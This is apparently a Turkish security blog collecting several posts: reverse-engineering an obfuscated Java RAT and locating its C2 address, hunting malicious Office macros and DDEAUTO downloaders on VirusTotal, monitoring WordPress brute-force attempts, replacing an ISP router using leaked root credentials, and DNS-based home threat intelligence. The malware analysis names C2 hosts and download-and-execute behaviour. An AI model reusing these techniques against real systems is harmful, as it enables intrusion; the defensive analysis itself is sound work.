Bytecode Viewer aracı ile sayfada yer alan havale.jar dosyasını kaynak koduna çevirdiğimde içinde çok sayıda farklı uzantılı dosya olduğu dikkatimi çekti. META-INF/MANIFEST.MF dosyasında yer alan bilgiye göre ana sınıf dosyasının com.uncomeliness.thirsted.Battakhin olduğunu öğrendikten sonra bu dosyaya göz atmaya başladım. Battakhin.class dosyasına baktığımda içinde çeşitli işlemler yapıldıktan sonra javax.script.ScriptEngineManager sınıfı kullanılarak gizlenmiş olan JavaScript kodu çalıştırılıyordu.

eval() fonksiyonuna gelen oidium değişkenini ekrana basmak için kodu değiştirip, tekrar derlemek ve çalıştırmak yerine Java Journal aracından faydalanmaya karar verdim. python javajournal.py -jar havale.jar -include javax.script.* -begin com.uncomeliness.thirsted.Battakhin komutunu çalıştırdıktan kısa bir süre sonra ekrana eval() fonksiyonuna iletilen JavaScript kodu karşıma çıkmış oldu.

JavaScript kodunu anlaşılır hale getirdiğimde Cellulipetally.sci dosyasının AES ile şifrelenmiş olduğu ve şifresi çözüldükten sonra çalıştırıldığı (Header.class) anlaşılıyordu.

Header.class dosyasında ise bu defa AES ile şifrelenen com/uncomeliness/cymas/Arryish.pre , com/uncomeliness/thirsted/Dang.dos ve com/uncomeliness/thirsted/Rhizomorph.box dosyalarının çözüldüğünü gördüm.

Bu üç dosyayı da birleştirip şifresini çözdükten sonra ortaya JAR dosyası içinde bulunan şifrelenmiş 251 tane class dosyası ve bunların AES şifreleme anahtarları çıktı.

Tüm bu class dosyalarının şifresini çözüp incelemeden önce Google’da ve Twitter’da kaynak kodundan elde ettiğim qt314 ve qua.enterprise.reaqtor.reaqtions.standartbootstrap anahtar kelimeleri ile ufak bir araştırma yaptığımda, Fortinet’in New jRAT/Adwind Variant Being Spread With Package Delivery Scam ve Jeff ARCHER isimli güvenlik araştırmacısının Qrypter isimli şu makalelerine denk geldim. Özellikle Jeff ARCHER’ın yayınladığı Qealler isimli son makalesini incelediğimde, havale.jar isimli bu zararlı yazılımın QUAverse Research and Development isimli Türk olduğu düşünülen bir grup tarafından geliştirilen bir Java RAT olduğunu öğrendim.

Bu zararlı yazılım tarafından iletişim kurulan IP adresini tespit etmek için ise java.net.URI sınıfını Java Journal aracı ile dinamik olarak izlemeye başladıktan kısa bir süre sonra iletişim kurulan IP adresini ve bağlantı noktasını (144.217.149.63:2018) tespit edebildim.

Sıra son olarak bu IP adresinin hangi sınıf dosyası içerisinden çağrıldığını bulmaya geldiğinde de, Java hata ayıklama aracı olan jdb ile stepi ve dump komutlarından faydalanarak qt314.CY sınıfına ulaştım.

Bu yazının ileri seviye gizleme yöntemi kullanan Java zararlı yazılımlarını analiz etmek isteyen güvenlik araştırmacılarına yol göstereceğine inanarak bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Not:

Bu yazı ayrıca Pi Hediyem Var #16 oyununun çözüm yolunu da içermektedir.

7

VirusTotal ile Tehdit Avı

Twitter’ı benim gibi çoğunlukla siber güvenlik ile ilgili haberleri, siber güvenlik araştırmacılarını takip etmek için kullanıyorsanız, FireEye/Mandiant’ın güvenlik araştırmacılarından Nick CARR‘ın, Daniel BOHANNON‘un veya Microsoft’tan John LAMBERT‘in tweetlerine denk gelmiş olabilirsiniz. Tweetlerinde kimi zaman VirusTotal‘da yaptıkları tehdit avında elde ettikleri yeni zararlı yazılım örneklerini, yeni yöntemleri paylaştıklarını görebilirsiniz.

Yıllarca, VirusTotal hesabı olan eşten, dosttan ilgimi çeken zararlı yazılım örneklerini indirip bana göndermelerini rica ettikten sonra 2018 yılının başında Akbank Siber Güvenlik Merkezi’miz için kurumsal bir VirusTotal hesabı satın alarak nihayet mutlu sona ulaştım. Kurumsal hesap ile İz Peşinde başlıklı blog yazımda belirttiğim üzere siber suçluların izini sürebildiğiniz gibi tehdit avına çıkarak kurumunuza saldırı hazırlığında olan siber saldırılardan haberdar olabildiğiniz gibi siber suçluların kullandığı taktik ve tekniklerden haberdar olabiliyorsunuz. Siber suçlular bir yana VirusTotal üzerinde bazen kendi kurumuna sosyal mühendislik testi yapma hazırlığında bulunan bir çalışandan, antivirüs atlatmaya çalışan bir siber güvenlik danışmanlık firmasının sızma testi uzmanının yüklediği dosyaları da bulabiliyorsunuz.

VirusTotal’a yüklenen dosyaların üyeler arasında görüntülenebildiği, indirilebildiği çoğunlukla unutulabiliyor. Bu durumda da aslında masum bir şekilde zararlı yazılım tespiti adına VirusTotal’a yüklediğimiz hassas bir dosya bir anda üçüncü parti kişiler tarafından görüntülenebiliyor. Ben de bu yazımda hem VirusTotal üzerinde tehdit avı yapmak isteyenlere yol göstermeye hem de bilgi güvenliği farkındalığı adına yukarıda bahsettiğim noktalara dikkat çekmeye karar verdim.

VirusTotal Intelligence ile tehdit avına çıktığımızda 50’den fazla anahtar kelimeden faydalanabiliyoruz. Örneğin, VirusTotal’a dosyayı yükleyen Türkiye’den (submitter:TR) olmuş olsun, Türkçe dilinde yazılmış olsun (lang:”turkish”), 10’dan fazla antivirüs yazılımı tarafından tespit edilmiş olsun (positives:10), dosya türü docx olsun (type:docx), dosyanın ilk yüklenme tarihi de 2018 yılı olsun (fs:2018-01-01 T00:00:00+) dediğimizde hızlıca bu anahtar kelimelere uyan kayıtlara ulaşabiliyoruz. Benzer aramayı xls, doc uzantılı dosyalar, powershell (tag:powershell) ve makro içeren (tag:macros) dosyalar için de yaparsak karşımıza kısa sürede analiz edecek çok sayıda örnek çıkıveriyor.

İlk karşılaştığım örnekte art niyetli bir kişinin bir bankaya sosyal mühendislik saldırısı yapmak için makro içeren doküman oluşturduğunu gördüm. Makroyu oletools aracı ve CyberChef araçları ile analiz ettiğimde de çalıştırılan makronun Microsoft Outlook programında gönderilen e-postaların bir kopyasını Powershell yardımı ile şifresiz HTTP protokolü ile komuta kontrol merkezine gönderdiğini gördüm. Dosyanın özelliklerinden kimin oluşturduğuna baktığımda ve bunu VirusTotal’da arattığımda (metadata) ise bu dosyasının art niyetli bir kişi tarafından değil de kuvvetle muhtemel bankanın denetim ekibi çalışanları tarafından sosyal mühendislik testi gerçekleştirmek amacıyla oluşturulmuş olduğunu öğrenmiş oldum. 🙂

aktivite20.docm isimli başka bir örneğe baktığımda da ilk olarak yine art niyetli kişilerin bir bankaya gerçekleştirdikleri sosyal mühendislik saldırısında kullandıkları bir zararlı doküman ile karşılaştığımı düşündüm. İkna adına gayet başarılı bir şekilde kurgulanmış bu dokümanı analiz ettiğimde içinde Powershell’den faydalanılan bir makro olduğunu gördüm. Makro dosyasını analiz ettiğimde ise çalıştırıldığı anda Powershell’in betik engelleme ve kayıt altına alma özelliğini devre dışı bıraktığını gördüm. Bir önceki örnekte olduğu gibi yine dosyanın özelliklerine baktığımda bu defa bir siber güvenlik firmasında danışman olarak çalışan bir sızma testi uzmanı tarafından oluşturulmuş olduğunu öğrendim. 🙂

Yukarıdaki iki örneğe bakarak sızma testi, sosyal mühendislik testi amacıyla VirusTotal’a yüklenen bu tür dosyaların art niyetli kişilere senaryo ve yöntem konusunda ipucu verecebileceğini unutmamamız gerekiyor. Yeri gelmişken kırmızı takım çalışması öncesi VirusTotal’a yüklenen bir dosyanın da bu çalışmanın başarıya ulaşmasını fazlasıyla zorlaştıracağını da yine unutmamamız gerekiyor.

zarina cv.docx isimli biğer bir örneğe baktığımda ise bu defa şüpheli bir özgeçmiş dosyası ile karşılaştım. Özellikle kurumsal ortamlarda elden ele gezen özgeçmişler, zararlı kod içerdiği taktirde insan kaynakları çalışanlarına Linkedin ve e-posta üzerinden gönderildiğinde, olması gereken güvenlik kontrolleri ve sıkılaştırmalar yapılmadığı durumlarda kurumun hacklenmesine yol açabilmektedir. zarina cv.docx dosyasını 7-Zip aracı ile açtıktan sonra word klasörü içinde yer alan document.xml dosyasını analiz ettiğimde içine itinayla yerleştirilmiş bir DDEAUTO komutu olduğunu gördüm. DDEAUTO komutu, mediafire.com adresinden final.exe isimli bir dosyayı indirip TEMP klasöründe çalıştırmaktadır. final.exe isimli dosya silindiği için her ne kadar ulaşamamış olsam da aynı kişinin VirusTotal’a mediafire yerine iç ip adresi içeren benzer bir dosya yükleyip Antivirüs kontrolü yapmaya çalıştığını net olarak görebildim. Bu örnekten yola çıkarak özellikle insan kaynakları birimlerinin özgeçmiş dosyalarını adaylardan alırlarken çok dikkatli olmaları gerektiğinin de altını çizmiş olayım.

Son olarak TEMMUZ MAAŞ.xlsm isimli Office dosyası dikkatimi çekti. Dosyanın içinde yer alan makro dosyasını oletools aracı ile analiz ettiğimde, http://xfl[.]mooo.com web adresinden client.exe isimli bir dosyayı indirip ardından bunu TEMP klasörüne cache1.exe adı altında kaydettikten sonra çalıştırıyordu. TEMMUZ MAAŞ.xlsm dosyasının içeriği sahte olmayacak kadar gerçeğe benziyordu. Hem VirusTotal üzerinde hem de retrohunt ile http://xfl[.]mooo.com web adresi ile ilişkili dosyaları aradığımda çok sayıda birbiri ile ilgisi olmayan dosya olduğunu gördüm. Kimi dosyalar bir kuruma özel olarak oluşturulmuş talimat dosyalarıydi kimileri ise bir ürüne ait kullanma kılavuzuydu. Gerçekten kuruma özel olan bu dosyalara bir şekilde ulaşıp makro yerleştiren birileri mi vardı yoksa art niyetli kişiler derslerini iyi çalışıp bu kadar gerçekçi makro içeren dokümanlar mı oluşturuyordu ? sorusu kafamı kurcalamaya başladı.

http://xfl[.]mooo.com web adresi ve çözdüğü ip adresleri özelinde arama yaptığımda ise ip adreslerinden indirilen srim2 dosyası dikkatimi çekti. Dosyayı indirip 7-Zip aracı ile açıp config.json dosyasına baktığımda Monero dijital para madeni yapan bir yazılım olduğu ortaya çıktı.

client.exe dosyasına kısaca bakmaya karar verdikten sonra IDA Pro ve Interactive Delphi Reconstructor araçları ile analiz etmeye başladım. Dikkate değer tespitlerime hızlıca yer vermem gerekirse;

cache1.exe çalıştırıldıktan sonra kendisini C:\Users\admin\AppData\Local\Google Chrome Helper\chromehelper.exe altına kopyalamaktadır.

http://xredini[.]mooo.com , http://140[.]82.59.108/config ve http://45[.]76.3.86/min adresleri ile iletişime geçmektedir.

IDAPython yardımı ile gizlenmiş karakter dizilerini çözdüğümde karakter dizileri arasında xred[.]mooo.com , xredini[.]mooo.com ve xfl[.]mooo.com adresleri ortaya çıkmaktadır.

Zamanlanmış görevlere (task scheduler) Google Chrome Helper Update kaydını yaratabilmektedir.

Sistem üzerindeki xls, xlsx, doc, docx uzantılı dosyaları bulduktan sonra içeriğini %TEMP% klasörüne yarattığı makro uzantılı (docm, xlsm gibi) ofis dosyasına (Yazar adı: WlnServer) kopyalamakta ve orjinal dosyaları silerek yerine orjinal dosyaların isimleri altında bu ofis dosyasını kopyalamaktadır. (Örnek: Masaüstündeki Mert.docx dosyasını silip yerine Mert.docm oluşturuyor ve içine Mert.docx içeriğini kopyalıyor.)

Sistem üzerindeki tüm yürütülebilir dosyaları (exe) bulup modifiye ederek çalıştırıldığı anda hem orjinal dosyayı hem de Resource Directory kısmındaki zararlı ofis dosyalarını (%TEMP% klasörüne açtığı) ve programı çalıştırmaktadır.

VirusTotal üzerinde client.exe dosyası üzerinde yer alan ABvgjdfL+hpQCgCT42VdO6m4GD karakter dizisini arattığımda ise bu zararlı yazılımın bulaştığı çok sayıda örnekle karşılaştım.

Sonuca gelecek olursam, kurum olarak VirusTotal üzerinde tehdit avına çıkarak hem kurumunuza gerçekleştirilmesi planlanan siber saldırılardan, sosyal mühendislik saldırılarından haberdar olabilir hem de analistlerinizin tehdit avı ile tespit ettiği örnekleri analiz etmelerini sağlayarak zararlı yazılımı analizi konusunda yetkinlik kazanmalarını sağlayabilirsiniz.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

8

WordPress Güvenliği

Neredeyse 10 yıla yakın bir süredir siber güvenlik üzerine araştırmalar yapıp, öğrendiklerimi yazmaya, sizlerle paylaşmaya devam ediyorum. Sizlerden gelen geri bildirimlere baktığımda çoğunluğunuzun yazdıklarımdan faydalandığını görmek beni bir hayli mutlu ediyor. Kimi zaman özünde kötü niyet olmayıp sadece bana mesaj vermek için bloguma ufak çaplı siber saldırı (Örnek: DoS ile Mücadele yazısı) gerçekleştirenler, aşağıdaki gibi yönetici girişi yapmayı deneyenler olsa da bazen tam olarak sebebini ve niyetini anlayamadığım saldırılarla da karşılaşıyorum. Bundan yola çıkarak ben de bu yazımda, bu saldırılardan birini nasıl tespit ettiğime ve benim gibi WordPress CMS kullananların bloglarını nasıl güvenli hale getirebilecekleri ile ilgili ipuçları vermeye karar verdim.

Öncelikle WordPress ile ilgili istatistiki bilgilere yer vermek gerekirse, WordPress dünya genelinde en çok kullanılan içerik yönetim sistemidir ve CMS dünyasının ~%60‘ına hakimdir. Internet genelindeki web sitelerinin ~%33‘ünde yine WordPress kullanılmakta olup ~55.000‘den fazla yakın eklentisi bulunmaktadır. Yıllar içinde WordPress üzerinde tespit edilen zafiyet türleri değişiklik gösterse de bu zamana kadar en çok tespit edilen zafiyet türü Cross-Site Scripting (XSS)‘dir. WordPress zafiyet veritabanına baktığımızda ise WordPress’in kendi kodlarında (core) ve eklentilerinde bu zamana dek 15.000‘den fazla zafiyet tespit edildiğini görebiliyoruz.

WordPressler’in genel olarak nasıl hacklendiğine baktığımızda çoğunlukla güvensiz barındırma firmaları/hizmetleri, zayıf yönetici parolası, güncel olmayan sürüm, eklentiler, temalar ve arka kapı içeren korsan temalar (Örnek: Arka Kapı Avı yazısı) kaynaklı olduğunu görüyoruz.

Benim de zayıf yönetici parolalarını tespit etmek için denenen wp-admin sayfam her ne kadar internete açık olsa da uzun yıllardır Duo Two-Factor Authentication eklentisinden faydalanarak yönetici girişi için iki faktörlü doğrulama kullanıyorum. Ayrıca Wordfence Security eklentisinden de faydalanarak deneme yanılma saldırıları gerçekleştiren ip adreslerinin otomatik olarak engellenmesini, olası güvenlik zafiyetlerin tespit edilip raporlanmasını da sağlıyorum. Arka kapı içeren temalara karşı da ücretli tema kullanmayı tercih ediyorum. Güvensiz barındırma hizmetleri ile uğraşmamak adına da yine uzun yıllardan beri VPS kullanıyorum.

2018 yılının Temmuz ayında günlerden bir gün yine blogumun Wordfence eklentisinin güvenlik ekranını (dashboard) kontrol ederken, yönetici sayfama deneme yanılma saldırısı (brute-force) yapıp en çok bloklanan ip adreslerinin Türkiye’den olması dikkatimi çekti. IP adreslerinin whois bilgilerini kontrol ettiğimde, tamamına yakınının iDealhosting isimli barındırma servisi sağlayan bir firmaya ait olduğunu öğrendim ve güvenlik araştırması adına bu ip adreslerinden bloguma gerçekleştirilen saldırıları yakından izlemeye karar verdim.

Ekim ayında güvenlik ekranını tekrar kontrol ettiğimde ise deneme yanılma saldırılarının 22 ip adresinden aralıksız olarak devam ettiğini gördüm. Tabii bir güvenlik araştırmacısı olarak aklıma gelen sorulardan ilki bunun bloguma gerçekleştirilen hedeflenmiş bir saldırı girişimi olup, olmadığıydı. Bunu öğrenmenin en kolay yollarından biri deneme yanılma saldırılarında kullanılan parolaları öğrenmekti dolayısıyla vakit kaybetmeden işe koyuldum.

İlk olarak wp-login.php dosyasına yapılan hatalı giriş denemelerini parola ile birlikte diske kayıt eden bir PHP kodu hazırladım. Ardından bu kayıt edilen dosyadaki değişikliklerden de anlık olarak haberdar olabilmek için OSSEC HIDS üzerinde küçük bir tanım yaptım.

Ekim ayının sonu ve Kasım ayı boyunca kayıt altına alınan hatalı kullanıcı adı ve parola denemelerine baktığımda, denenen kullanıcı adı ve parolaların sözlükte yer alan sıradan kelimeler yerine blog yazılarımda geçen kelimelerden oluştuğunu öğrendim. Bu bilgi benim için hedeflenmiş bir saldırı girişimi olduğuna işaret ediyordu.

2019 yılının Şubat ayında denenen parolalara tekrar baktığımda ise bu defa 2009 yılında hacklenen Rockyou.com sitesinin veritabanından elde edilen parolaların denenmeye başladığını gördüm.

Araştırmamı tamamladıktan sonra daha önce gevşettiğim güvenlik kontrollerini sıkılaştırmak için öncelikle Google Captcha eklentisini yönetici sayfası için etkin hale getirdim. Ardından da Wordfence’in Firewall ayarları sayfasındaki Brute Force Protection bölümünde hatalı kullanıcı adı denemesi yapan ip adresinin otomatik olarak bloklanmasını sağladım.

Bu araştırma sonucunda aylardır blogumu hacklemek için birilerinin uğraştığını üzülerek öğrenmiş oldum. Benim gibi WordPress CMS kullananların ise Google Captcha, Duo Two-Factor Authentication ve Wordfence Security eklentilerini muhakkak kurup düzgün bir şekilde ayarlarını yapmalarını ve ayrıca OSSEC HIDS ile de şüpheli durumlara karşı sistemlerini yakından izlemelerini şiddetle tavsiye ederim.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

9

Esaretten Kaçış

Yıllarca internet servis sağlayıcılarının ADSL modemini kullanmış ve bunlar üzerinde yapmış olduğum güvenlik araştırmaları (Hediye Modemler Ne Kadar Güvenli? , Donanım Yazılımı Analizinin Önemi) ile bilgi güvenliği farkındalığını arttırmaya çalışmış biri olarak hediye modem kullanmaya bireysel olarak sıcak baktığımı pek söyleyemem. Bunun başlıca nedenlerinden bazılarını sayacak olursam; modemlerde internet servis sağlayıcıları tarafından kullanılan gömülü kullanıcı hesaplarının herkes tarafından öğrenilebilmesi ve son kullanıcının modemin/yönlendiricinin yönetim sayfasını internetten erişime açması durumunda başkaları tarafından kötüye kullanılabilmesi, donanım yazılımının (firmware) özel sürüm olması sebebiyle son, en güvenli sürüme güncellenememesi, bağlantı kısıtlamasının (firewall) her bağlantı noktası (port) için yapılamaması, kısıtlı yönetim sayfaları diyebilirim.

Yaklaşık iki yıl önce evime fiber internet altyapısının gelmesi ile birlikte ADSL modemin yerini yönlendirici (router) aldı. Internet servis sağlayıcımın kullanmaya zorunlu tuttuğu Tılgın marka, kendi web sitesinde dahi adı sanı bulunmayan HG1332 model yönlendirici ile internetten aldığım keyifli günler yerini esarete bıraktı. Vasat ötesi WiFi sinyal gücü, 7 yıl önce yönlendiricilerin desteklemeye başlayıp günümüzde sıradan hale gelmiş OpenVPN desteğinin olmaması, modern güvenlik dünyasının şifreli dns iletişimini (DoH) desteklememesi, dinamik dns (DDNS) desteğinin oldukça sınırlı olması gibi bir çok olumsuz neden sayabilirim.

Bu yönlendirici ile kısa süreli mutsuz bir beraberlikten sonra internet servis sağlayıcımla yönlendiriciyi değiştirmek üzere iletişime geçtiğimde ne yazık ki olumsuz yanıt aldım. Internet üzerinde bu yönlendiriciden kurtulmak için araştırma yaptığımda da bol bol şikayet dışında elle tutulur 1 kaynak bulamadığım ve buna ayıracak zamanım da pek olmadığı için zaman içinde kaderime boyun eğmek zorunda kaldım.

Tılgın HG1332 ile geçirdiğim mutsuz zamanların süresi arttıkça bu yönlendiriciden kurtulmak için aradan 1 yıl geçtikten sonra internette arama yaptığımda internet servis sağlayıcısının bu yönlendiriciyi köprü modunda kullanarak kendi yönlendiricinizi kullamaya izin verdiğini öğrendim. Zaman içinde HG1332’den nefret ettiğim için tamamiyle kurtulmanın yollarını aramaya başladım. Sosyal ağ hesaplarım üzerinden yardım çağrısında bulunduğumda sağolsun epey bir kişi bu konuda yardımcı olmak için seferber oldu. Aykut ALPER‘in farklı bir internet servis sağlayıcısında Mikrotik yönlendirici ile bunu yaptığını, bir başka yardımseverin VLAN ID ve PPOE kullanıcı adı ve parolası ile HG1332’den kurtulabileceğimi belirtmesinden sonra ihtiyaç listesi üzerinde çalışmaya başladım. Listeyi hazırlamak için aklıma gelen sorulardan bazıları şunlar oldu;

Hangi marka ve model yönlendirici almam gerekir ?

Yıllarca Asus modem ve yönlendiricilere DD-WRT, Tomato, Asuswrt-Merlin gibi özel donanım yazılımlarının (custom firmware) kolayca yüklenebildiğini bildiğim için tercihimi Asus markasından yana yaptım. Donanım yazılımı olarak da güvenlik özellikleri hoşuma gittiği için Asuswrt-Merlin‘i tercih ettim. Asuswrt-Merlin’in desteklediği modeller genel olarak pahalı olduğu için, fiyat ve performans açısından benim için en uygun olan RT-AC1900U modelini satın aldım.

VLAN ID’im nedir ?

Tılgın HG1332’nin arayüzüne admin kullanıcısı ile bağlandığımda maalesef VLAN ID’mi görebileceğim yönetim sayfalarının çoğu gizlenmişti. Internet üzerinde HG1332’ye yönelik araştırma yaptığımda, bu yönlendiriciden kurtulmaya çalışan bir kişinin yazdığı bir yazıdan, HG1332 yönlendiricisinde de tanımlı olan kullanıcı adı ve parolaları elde etmeye başaran İlteriş EROĞLU isimli genç bir arkadaşın başarılı çalışmasına rastladım. 2015 yılında Donanım Yazılımı Analizinin Önemi başlıklı yazımda benim de dikkat çektiğim şifresiz kanal üzerinden TR-069 iletişimin gerçekleşmesinin yıllar sonra İlteriş’in çalışmasında da hala devam ettiğini görmek beni oldukça şaşırttı. Yazıda yer alan root kullanıcısı ile HG1332’nin arayüzüne bağlandıktan sonra VLAN ID’mi kolay bir şekilde öğrenebildim.

Internet servis sağlayıcımı aramadan PPOE kullanıcı adı ve parolamı nasıl öğrenebilirim ?

root kullanıcısı ile arayüze girdikten sonra PPOE kullanıcısının parolası maskeli olduğu için mevcut konfigürasyonu yönlendiriciden indirip içinden PPOE parolasını elde edebildim.

RT-AC1900U için Asuswrt-Merlin’in web sayfasından ilgili donanım yazılımı sürümünü (RT-AC1900U için RT-AC68U yazılımı kullanılmalıdır.) indirip, web arayüzü üzerinden sorunsuz bir şekilde kurulumu gerçekleştirdim. Ardından PPOE ve VLAN ID tanımlarını da yaptıktan sonra yönlendiricinin başarıyla internete bağlanabildiğini gördüm.

Sıra yönlendiricinin gerçekleştirdiği tüm DNS trafiğini şifreli (Dns over HTTPS – DoH) hale getirmeye geldiğinde ilk işim yönlendiriciye yüklenen paketleri kurabileceğim ve çalıştırabileceğim bir USB disk bağlamak oldu. Ardından komut satırından entware-setup.sh komutunu çalıştırarak kurulumu kısa sürede tamamladım. DoH desteğine sahip dnscrypt-proxy aracını kurmak için ise curl -L -s -k -O https://raw.githubusercontent.com/thuantran/dnscrypt-asuswrt-installer/master/installer && sh installer ; rm installer komutunu çalıştırıp kurulumu gerçekleştirdim. dnscrypt-proxy aracının başarıyla çalıştığını teyit etmek için de ülkemizde hala yasaklı olan wikipedia.org adresinin ip adresini çözümlemeye çalıştığımda aracın başarıyla çalıştığını gördüm.

Yönlendiricinin etinden sütünden faydalanmak için bir de VPN servisleri ile olan bağlantısını (Netflix kullanıcıları nedenini çok iyi anlayacaklardır. :)) test etmeye karar verdim. Bunun için ABD seyahatim esnasında televizyonda çokça reklamını gördüğüm NordVPN VPN servis sağlayıcısına üye oldum. Asuswrt-Merlin kullanıcıları için özel olarak oluşturdukları yardım sayfasındaki adımları gerçekleştirdikten sonra yönlendiricinin NordVPN sunucularından biriyle başarıyla bağlantı kurmasını sağladım.

NordVPN ile bağlantı kurduktan sonra internet bağlantımın herhangi bir web sitesine bağlanamayacak şekilde aşırı derecede yavaşladığını farkettim. “Bu VPN sunucusunda problem var sanırım”, “Bu VPN sunucusu da mı yavaş ?” derken bağlandığım 10’a yakın sunucudan web sitelerine bağlanamadığımı farkettim. Tam NordVPN’in hizmet kalitesini sorgulamaya başlamışken bir anda aklıma sosyal medyada VPN servislerinin yavaşlatıldığı iddialarına yönelik okuduğum mesajlardan biri geldi.

Bağlandığım NordVPN sunucularından Google’ın DNS sunucusu olan 8.8.8.8 ip adresini pinglediğimde sürelerin katlanarak arttığını farkettim.

NordVPN’in Double VPN özelliğine sahip sunucularından birine bağlandığımda bu defa ping süresinin çok daha makul seviyelerde olduğunu ve web sitelerine bağlanabildiğimi gördüm. Başka bir Double VPN sunucusuna bağlandığımda ise bu yine bağlantımın inanılmaz derecede yavaş olduğunu farkettim. İki vpn sunucusunun OpenVPN bağlantı ayarlarını kıyasladığımda, mesaj doğrulamasında kullanılan AUTH parametresinin (HMAC digest algorithm) farklı (SHA512 yerine SHA1) olduğunu tespit ettim. Tüm NordVPN sunucularının arasından AUTH parametresinin SHA1 olanlarına bağlanmayı denediğimde bağlantının yavaşlamadığını dolayısıyla bu yavaşlamayı tetikleyen unsurun SHA512 algoritması ile ilişkili olabileceğine kanaat getirdim.

PING sürelerinin gecikmesine neyin sebep olabileceğini LinkedIn üzerinden sorduğumda genel olarak gelen yanıtlar; hattın sature olabileceği, aradaki yönlendiricinin bozuk olabileceği, ethernet kartında sorun olabileceği, yerel ağda topraklama sorunu olabileceği, firewall bağlantı listesinin dolduğu, sistemin saldırı altında olabileceği oldu. Ben de paylaştığım ekran görüntüleri ve Linkedin’den gelen yorumlar ışığında bu gecikmeye neyin sebep olduğunun bulunmasını, alıştırma olması adına siz sevgili okurlarıma bırakmaya karar verdim.

Sonuç olarak yıllarca istemeyerek, şikayet ederek kullandığım Tılgın HG1332 yönlendiriciden kurtularak, güvenliğini kendimin sağlayabildiği, güvenlik özellikleri ile dopdolu yeni yönlendiricime yıllar sonra kavuşmuş oldum. Özellikle OpenVPN desteği sayesinde, alışveriş merkezleri, oteller, cafeler, havaalanları gibi halka açık alanlarda ücretsiz olarak sunulan fakat bilgi güvenliği adına kullanıcılar için risk teşkil eden ücretsiz/ortak WiFi hizmetlerinden faydalanmak istediğimde, evimdeki yönlendiricime VPN ile güvenli bir şekilde bilgisayarımdan veya cep telefonumdan bağlanabilmek ve bu riski minimuma indirgeyebilmek de beni fazlasıyla mutlu etti.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

10

Ev Tipi Tehdit İstihbaratı

Yazılarımı okuyanlarınız, Esaretten Kaçış başlıklı yazımda güvenliğini kendinizin sağlayabildiği, güvenlik özellikleri ile dopdolu bir yönlendirici (router) kullanmanın avantajlarından büyük bir mutlulukla bahsettiğimi hatırlayacaklardır. Yazıda da bahsettiğim üzere DNS trafiğini şifreli (Dns over HTTPS – DoH) hale getirmek için dnscrypt-proxy aracını kullanmaya başlamıştım.

Termostatların akıllandığı (smart), akıllı televizyonların kameralarla donatıldığı, elektrikli su ısıtıcılarının, ütülerin casuslaştırıldığı günümüzde, ev ağımıza bağlı olup internete bağlanan güvensiz nesneler (IoT), enfekte olmuş, zararlı yazılım barındıran sistemler, cihazlar güvenliğimiz, mahremiyetimiz için büyük risk teşkil ediyorlar. Hacklenmiş, enfekte olmuş, arka kapı içeren ev ağımızdaki sistemleri nasıl tespit edebileceğim üzerine düşünürken dnscrypt-proxy aracı sayesinde ev ağına bağlı tüm sistemler, cihazlar, aygıtlar tarafından gerçekleştirilen DNS isteklerini de kayıt altına alabileceğimi hatırladım.

DNS isteklerini kayıt altına alabildiğim noktada Open Threat Exchange (OTX), Critical Stack gibi siber tehdit istihbaratı servislerinden faydalanarak bu DNS isteklerinde yer alan, alan adlarını ve ip adreslerini bu servislere sorarak ev ağımdaki zararlı sistemleri tespit edebilirdim. Vakit kaybetmeden bu fikrimi hayata geçirmek için ihtiyaç listesi üzerine düşünmeye başladım.

İlk olarak elimin altında bulunup bu gibi durumlarda her daim yardımıma koşan Mini-PC‘imde çalışan Ubuntu işletim sistemi üzerine syslog-ng paketini kurmaya karar verdim. Paketi kurduktan sonra gelen dns isteklerini /var/log/dns-sys/gönderenin-ip-adresi klasörü altındaki tarih.log dosyasına kayıt edecek şekilde ayarladım ve /etc/syslog-ng/conf.d/dns-sys.conf dosyasına kayıt ettim.

Sonraki adımda dnscrypt-proxy aracının dns isteklerini yönlendiricinin syslog’una kayıt etmesi için /jffs/configs/dnsmasq.conf.add dosyasına log-queries satını ekledim. Ardından yönlendiricinin bu istekleri syslog sayfasında göstermesini sağlamak için Default message log level ve Log only messages more urgent than değerlerini debug olarak ayarladım ve bu mesajları Ubuntu üzerinde çalışan syslog-ng uygulamasına yönlendirmek için Remote Log Server değerini Ubuntu’nun ip adresi olarak tanımladım.

Syslog-ng kayıtlarını teker teker incelemeye ve tehdit istihbaratı adına hangi tür kayıtlara odaklanmam gerektiğine bakmaya başladım. Kayıtlarda yer alan query[A], cached ve reply bilgilerden faydalanabileceğimi öğrendikten sonra bu kayıtları OTX ile entegre çalışabilen Security Onion‘a gönderebileceğimi düşündüm. Security Onion’un 16.04.5.6 işletim sistemini kurup çalıştırdıktan sonra logstash servisinin (so-logstash) bir türlü çalışmadığını farkettim. Üzerinde debelenmeme rağmen başarılı olamadıktan sonra alternatif yollar üzerine araştırma yapmaya başladım.

Twitter üzerinden ELK kurmam gerektiği ile ilgili bir mesaj paylaştığımda bulut ve hazır ELK sistemlerinden faydalanabileceğime dair mesajlar aldım. Ubuntu işletim sistemine ELK mı kursam yoksa bulut bir sistemden mi faydalansam derken Grok filter ve Translate filter eklentilerine sahip Logstash‘in bu iş için biçilmiş kaftan olduğunu öğrendim.

Security Onion – OTX entegrasyonu için geliştirilmiş olan securityonion-otx betik dosyasını kendi ihtiyaçlarım doğrultusunda düzenlemeye başladım. bro-otx dosyası saat başı OTX’ten tehdit istihbaratı bilgisini /etc/logstash/ls-otx/otx.dat dosyasına kaydetmek için ayarladım. OTX.py dosyasını da her saatin 5. dakikasında otx.dat dosyasındaki zararlı URL ve DOMAIN kayıtlarından sadece alan adı bilgilerini alıp Translate filter tarafından okunacak olan /etc/logstash/translate/OTX.yaml dosyası olarak kayıt etmesini sağladım.

Logstash’un ayar dosyası (logstash.conf) üzerinde syslog-ng ile kayıt altına alınan DNS kayıtlarını Grok filtresi ile okuyan ve Translate filtresi ile burada yer alan ip adreslerinden veya alan adlarından herhangi birinin OTX.yaml dosyasında olması durumunda e-posta ile alarm gönderen tanımlamaları yaptım. Ardından Logstash’i yeniden başlatıp OTX.yaml dosyasında yer alan www[.]aucsellers[.]com adresine nslookup yaptığımda alarmın başarıyla üremesini ve bana e-posta ile gönderilmesini sağlamış kısaca ev tipi tehdit istihbaratı servisini başarıyla hayata geçirmiş oldum. 🙂

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

11

